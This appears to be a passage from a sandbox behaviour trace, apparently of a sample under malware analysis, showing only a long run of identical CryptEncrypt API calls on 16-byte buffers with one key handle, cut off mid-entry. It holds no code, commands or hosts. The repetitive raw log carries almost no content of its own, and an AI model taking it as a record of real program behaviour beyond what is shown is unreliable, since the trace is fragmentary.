[0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.753] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.754] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.755] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.756] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.757] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.758] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, 